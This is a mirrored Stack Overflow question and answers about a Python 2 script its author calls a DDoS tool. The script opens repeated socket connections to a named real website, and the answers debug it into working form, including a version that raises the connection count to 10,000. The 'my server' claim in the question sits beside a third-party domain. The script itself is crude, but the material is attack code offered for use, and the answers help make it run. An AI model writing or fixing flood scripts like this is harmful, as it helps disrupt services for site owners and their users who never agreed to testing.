Getting error when my python ddos script running

被刻印的时光 ゝ 提交于 2019-12-23 04:18:05

问题


I am trying to attack my server and I have this little ddos python script for that. But unfortunately I got this error:

ip = socket.gethostbyname(host)
socket.gaierror: [Errno 11004] getaddrinfo failed

Any idea how to solve this problem?

And this is the script:

import time, socket, os, sys, string

def restart_program():
    python = sys.executable
    os.execl(python, python, * sys.argv)
curdir = os.getcwd()

print ("DDoS mode loaded")
host="http://hajnalgroup.com"
port="80"
message="+---------------------------+"
conn="100"
ip = socket.gethostbyname(host)
print ("[" + ip + "]")
print ( "[Ip is locked]" )
print ( "[Attacking " + host + "]" )
print ("+----------------------------+")
def dos():
    #pid = os.fork()
    ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        ddos.connect((host, port))
        ddos.send( message )
        ddos.sendto( message, (ip, port) )
        ddos.send( message );
    except socket.error, msg:
        print("|[Connection Failed] |")
    print ( "|[DDoS Attack Engaged] |")
    ddos.close()
for i in range(1, conn):
    dos()
print ("+----------------------------+")
print("The connections you requested had finished")
if __name__ == "__main__":
    answer = raw_input("Do you want to ddos more?")
    if answer.strip() in "y Y yes Yes YES".split():
        restart_program()
    else:
        print "bye"

回答1:


Host name should be name of the host (hajnalgroup.com), not url (http://hajnalgroup.com).

>>> import socket
>>> socket.gethostbyname("http://hajnalgroup.com")
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
socket.gaierror: [Errno 11004] getaddrinfo failed
>>> socket.gethostbyname("hajnalgroup.com")
'89.134.187.222'

Replace following line:

host = "http://hajnalgroup.com"

with:

host = "hajnalgroup.com"

UPDATE

All arguments to the range function should be int objects:

>>> range(1, 10)
[1, 2, 3, 4, 5, 6, 7, 8, 9]
>>> range(1, "10")
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: range() integer end argument expected, got str.

Replace conn = "100" with conn = 100.




回答2:


Port Number should also be a number.

import time, socket, os, sys, string
import subprocess

def restart_program():
    subprocess.call(['python', 'main.py'])

print ("DDoS mode loaded")
host = "YOUR_SITE.com"
port = 80
message = "+---------------------------+"
conn = 10000
ip = socket.gethostbyname(host)
print "[" + ip + "]"
print "[Ip is locked]"
print "[Attacking " + host + "]"
print message
def dos():
    # pid = os.fork()
    ddos = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    try:
        ddos.connect((host, port))
        ddos.send(message)
        ddos.sendto(message, (ip, port))
        ddos.send(message)
    except socket.error:
        print("|[Connection Failed] |")
    print ("|[DDoS Attack Engaged] |")
    ddos.close()
for i in range(1, conn):
    dos()
print message
print("The connections you requested had finished")
print message
if __name__ == "__main__":
    print "Do you want to ddos more?"
    answer = raw_input()
    if answer.strip() in "y Y yes Yes YES".split():
        restart_program()
    else:
        print "bye"

You should also use subprocess to restart dos script, which is better for multi-OS.



来源:https://stackoverflow.com/questions/20826228/getting-error-when-my-python-ddos-script-running

易学教程内所有资源均来自网络或用户发布的内容,如有违反法律规定的内容欢迎反馈
该文章没有解决你所遇到的问题?点击提问,说说你的问题,让更多的人一起探讨吧!